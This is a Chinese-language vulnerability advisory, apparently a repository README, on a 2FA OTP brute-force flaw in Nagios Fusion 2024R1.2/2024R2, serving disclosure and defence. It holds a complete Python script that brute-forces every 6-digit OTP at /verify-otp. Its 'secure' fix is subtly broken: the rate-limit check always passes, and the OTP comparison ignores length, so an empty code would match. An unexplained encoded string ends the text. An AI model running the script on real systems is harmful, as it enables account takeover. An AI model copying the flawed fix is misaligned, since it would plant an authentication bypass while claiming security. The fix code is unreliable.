Nagios Fusion 2FA暴力破解绕过漏洞分析
项目概述
本项目详细分析了Nagios Fusion应用程序（版本2024R1.2和2024R2）中存在的双因子认证（2FA）暴力破解漏洞。该漏洞允许攻击者通过暴力猜测一次性密码（OTP）来绕过2FA安全机制，从而获取未经授权的系统访问权限。
漏洞核心问题：
- 缺乏速率限制：2FA验证端点未限制OTP提交尝试次数
- 弱锁定策略：多次OTP验证失败后不会触发账户锁定
- 潜在未授权访问：攻击者可利用此漏洞绕过2FA，访问敏感账户
此漏洞源于缺乏针对暴力破解攻击的适当防御措施，导致2FA机制在面对定向攻击时失效。
漏洞详情
严重程度
- 严重等级：高
- CWE编号：CWE-307（主要）；CWE-287（次要）
- CVSS评分（v3.0）：7.6（高）
- CVSS向量：AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
受影响组件
- 2FA验证端点（如 /verify-otp）
- 认证中间件
- 会话颁发服务
- 速率限制/反自动化控制
受影响产品
- 产品名称：Nagios Fusion
- 受影响版本：2024R1.2 和 2024R2
- 修复版本：2024R2.1
功能特性
- 漏洞复现分析：详细描述了2FA绕过攻击的具体步骤和技术细节
- 安全影响评估：从攻击者角度分析漏洞的潜在危害和滥用场景
- 缓解建议：提供了具体的安全加固措施和修复方案
- 时间线记录：完整的漏洞发现、报告、修复和CVE申请时间线
漏洞原理分析
攻击流程
- 初始访问：攻击者使用有效的用户名和密码尝试登录
- 2FA触发：系统提示输入来自认证应用/SMS/邮箱的OTP
- 自动化攻击：攻击者编写脚本向/verify-otp端点发送自动化请求
- 无限尝试：由于缺乏速率限制和锁定机制，攻击者可以无限次猜测OTP
- 成功绕过：在可行时间内，攻击者预测出正确的OTP并绕过2FA
安全缺口
2FA本应通过增加熵值和降低暴力破解的可行性来增强安全性。然而，没有适当的反自动化控制，OTP变得可被暴力破解，从而削弱了第二因素的保护效果。
滥用场景
- 大规模账户接管：自动化凭证填充+暴力破解OTP实现大规模账户控制
- 高价值账户定向攻击：针对已通过钓鱼或泄露获取密码的高价值账户
核心代码分析
漏洞示例代码结构
# 模拟存在漏洞的2FA验证端点代码结构
class TwoFactorAuthEndpoint:
def verify_otp(self, username, otp_code, session_id):
"""
存在漏洞的OTP验证方法
问题：缺少尝试次数限制和账户锁定机制
"""
# 从数据库获取用户的正确OTP
correct_otp = self.get_user_otp(username)
# 直接比较OTP，无失败次数追踪
if otp_code == correct_otp:
# OTP验证成功，创建会话
session = self.create_session(username)
return {"status": "success", "session": session}
else:
# OTP验证失败，但无任何防护措施
return {"status": "failure", "message": "Invalid OTP"}
def get_user_otp(self, username):
"""
从数据库或缓存获取用户的正确OTP
"""
# 模拟数据库查询
user_data = database.get_user(username)
return user_data['current_otp']
def create_session(self, username):
"""
创建用户会话
"""
session_token = generate_session_token()
sessions[username] = {
'token': session_token,
'created': datetime.now(),
'expires': datetime.now() + timedelta(hours=1)
}
return session_token
攻击脚本示例
import requests
import itertools
class TwoFactorBruteForcer:
def __init__(self, target_url, username, password):
"""
2FA暴力破解攻击脚本
"""
self.target_url = target_url
self.username = username
self.password = password
self.session = requests.Session()
def login_first_factor(self):
"""
第一步：使用凭据进行首次认证
"""
login_data = {
'username': self.username,
'password': self.password
}
response = self.session.post(
f"{self.target_url}/login",
data=login_data
)
if response.status_code == 200:
print("[+] 首次认证成功，进入2FA阶段")
return True
else:
print("[-] 首次认证失败")
return False
def brute_force_otp(self, otp_length=6):
"""
第二步：暴力破解OTP
"""
# 生成所有可能的OTP组合
digits = '0123456789'
total_combinations = 10 ** otp_length
print(f"[*] 开始暴力破解 {otp_length} 位OTP")
print(f"[*] 总尝试次数: {total_combinations}")
# 尝试所有可能的OTP组合
for i, otp in enumerate(itertools.product(digits, repeat=otp_length)):
otp_code = ''.join(otp)
# 每1000次尝试打印一次进度
if i % 1000 == 0:
progress = (i / total_combinations) * 100
print(f"[*] 进度: {progress:.2f}% - 当前尝试: {otp_code}")
# 提交OTP验证请求
otp_data = {
'username': self.username,
'otp': otp_code
}
response = self.session.post(
f"{self.target_url}/verify-otp",
data=otp_data
)
# 检查是否验证成功
if response.json().get('status') == 'success':
print(f"[+] OTP破解成功: {otp_code}")
print(f"[+] 会话信息: {response.json().get('session')}")
return True
print("[-] OTP破解失败")
return False
def execute_attack(self):
"""
执行完整攻击流程
"""
print("[*] 开始2FA暴力破解攻击")
# 步骤1：首次认证
if not self.login_first_factor():
return False
# 步骤2：暴力破解OTP
if self.brute_force_otp():
print("[+] 攻击成功！2FA已被绕过")
return True
else:
print("[-] 攻击失败")
return False
# 使用示例
if __name__ == "__main__":
# 配置攻击参数
target = "https://vulnerable-nagios-instance.com"
username = "admin"
password = "admin123"
# 创建攻击实例
attacker = TwoFactorBruteForcer(target, username, password)
# 执行攻击
attacker.execute_attack()
修复后的安全代码
import time
from collections import defaultdict
class SecureTwoFactorAuthEndpoint:
def __init__(self):
"""
安全的2FA验证端点实现
包含速率限制和账户锁定机制
"""
self.failed_attempts = defaultdict(int) # 用户名->失败次数
self.lockout_timestamps = {} # 用户名->锁定时间戳
self.MAX_ATTEMPTS = 5 # 最大尝试次数
self.LOCKOUT_DURATION = 300 # 锁定持续时间（秒）
def verify_otp_secure(self, username, otp_code, client_ip):
"""
安全的OTP验证方法
包含多重防护机制
"""
# 检查账户是否被锁定
if self.is_account_locked(username):
lockout_time = self.lockout_timestamps.get(username, 0)
remaining_time = self.LOCKOUT_DURATION - (time.time() - lockout_time)
if remaining_time > 0:
return {
"status": "error",
"message": f"账户已被锁定，请等待{int(remaining_time)}秒后重试",
"lockout_remaining": int(remaining_time)
}
else:
# 锁定时间已过，重置计数器
self.failed_attempts[username] = 0
del self.lockout_timestamps[username]
# 检查尝试速率限制
if not self.check_rate_limit(client_ip):
return {
"status": "error",
"message": "请求过于频繁，请稍后再试"
}
# 获取正确的OTP
correct_otp = self.get_user_otp(username)
# 验证OTP
if self.compare_otp(otp_code, correct_otp):
# 验证成功，重置失败计数器
self.failed_attempts[username] = 0
# 创建安全会话
session = self.create_secure_session(username)
return {
"status": "success",
"session": session,
"message": "2FA验证成功"
}
else:
# 验证失败，增加失败计数
self.failed_attempts[username] += 1
# 检查是否达到锁定阈值
if self.failed_attempts[username] >= self.MAX_ATTEMPTS:
self.lock_account(username)
return {
"status": "error",
"message": "OTP验证失败次数过多，账户已被锁定",
"lockout_duration": self.LOCKOUT_DURATION
}
remaining_attempts = self.MAX_ATTEMPTS - self.failed_attempts[username]
return {
"status": "failure",
"message": f"OTP验证失败，剩余尝试次数: {remaining_attempts}",
"remaining_attempts": remaining_attempts
}
def is_account_locked(self, username):
"""
检查账户是否被锁定
"""
if username in self.lockout_timestamps:
lockout_time = self.lockout_timestamps[username]
if time.time() - lockout_time < self.LOCKOUT_DURATION:
return True
return False
def check_rate_limit(self, client_ip):
"""
检查请求速率限制
实现滑动窗口算法
"""
# 实现基于IP的速率限制
# 这里简化实现，实际应用中应使用Redis等分布式缓存
current_time = int(time.time() / 60) # 每分钟一个窗口
# 检查该IP在过去N分钟内的请求次数
# 实际实现中应记录时间窗口内的请求计数
return True # 简化实现
def compare_otp(self, input_otp, correct_otp):
"""
安全的OTP比较（防止时序攻击）
"""
# 使用恒定时间比较算法
result = 0
for x, y in zip(input_otp, correct_otp):
result |= ord(x) ^ ord(y)
return result == 0
def lock_account(self, username):
"""
锁定账户
"""
self.lockout_timestamps[username] = time.time()
print(f"[SECURITY] 账户 {username} 因多次OTP失败被锁定")
def create_secure_session(self, username):
"""
创建安全的用户会话
"""
import secrets
session_token = secrets.token_urlsafe(32)
session_id = secrets.token_hex(16)
secure_session = {
'id': session_id,
'token': session_token,
'username': username,
'created_at': time.time(),
'expires_at': time.time() + 3600, # 1小时过期
'ip_address': self.get_client_ip(), # 记录客户端IP
'user_agent': self.get_user_agent() # 记录用户代理
}
# 记录会话创建日志
self.log_security_event(
event_type="session_created",
username=username,
details=f"2FA验证成功后创建新会话"
)
return secure_session
def log_security_event(self, event_type, username, details):
"""
记录安全事件日志
"""
log_entry = {
'timestamp': time.time(),
'event_type': event_type,
'username': username,
'details': details,
'ip_address': self.get_client_ip()
}
# 实际应用中应写入安全信息与事件管理（SIEM）系统
print(f"[SECURITY LOG] {log_entry}")
缓解建议
立即防护措施
- 实施严格的速率限制：为每个账户/IP/设备实施OTP尝试次数限制
- 启用账户锁定机制：在N次OTP尝试失败后锁定账户，并要求重新认证
- 引入延迟机制：对重复失败尝试实施指数级退避延迟
长期安全加固
- 实施多重监控：监控异常的OTP验证模式
- 加强日志记录：详细记录所有认证尝试，包括时间和来源
- 定期安全审计：定期检查认证系统的安全配置
- 实施CAPTCHA：在多次失败后引入人机验证
漏洞披露时间线
- 2025年1月5日：漏洞发现
- 2025年1月5日：向供应商报告
- 2025年1月10日：供应商验证漏洞
- 2025年7月23日：供应商发布补丁版本
- 2025年8月16日：申请CVE编号
- 2025年10月23日：分配CVE编号
使用说明
技术研究人员
本分析报告适用于：
- 安全研究人员进行漏洞复现和验证
- 渗透测试人员了解2FA绕过技术
- 开发人员学习安全编码实践
- 系统管理员进行安全配置检查
企业安全团队
安全团队应：
- 检查所有使用Nagios Fusion的实例版本
- 立即升级到修复版本2024R2.1或更高
- 审查所有2FA实现，确保实施适当的防护措施
- 监控认证日志中的异常模式
免责声明：本仓库仅用于漏洞报告和CVE参考目的。所有技术信息旨在帮助组织提高其安全态势，不应被用于未经授权的测试或攻击。 6HFtX5dABrKlqXeO5PUv/+qmrBR6/T7JRZqsCdJ+HBCWJq83Ah1qFbguHclfmRSoV/zcQ8hBvL9sB73R5dbtY8waxCe+mfF7FhXGqEIH4Fg=
